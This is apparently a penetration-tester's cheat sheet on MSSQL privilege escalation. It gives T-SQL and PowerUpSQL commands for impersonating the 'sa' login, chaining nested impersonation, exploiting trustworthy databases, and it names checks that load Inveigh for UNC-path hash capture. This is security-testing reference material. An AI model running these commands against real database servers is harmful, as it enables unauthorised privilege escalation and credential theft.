MSSQL - Audit Checks

Summary

• Impersonation Opportunities
  • Exploiting Impersonation
  • Exploiting Nested Impersonation
• Trustworthy Databases

Impersonation Opportunities

• Impersonate as: EXECUTE AS LOGIN = 'sa'
• Impersonate dbo with DB_OWNER

SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')

Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug

Exploiting Impersonation

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()

Exploiting Nested Impersonation

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER

Trustworthy Databases

Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases

The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist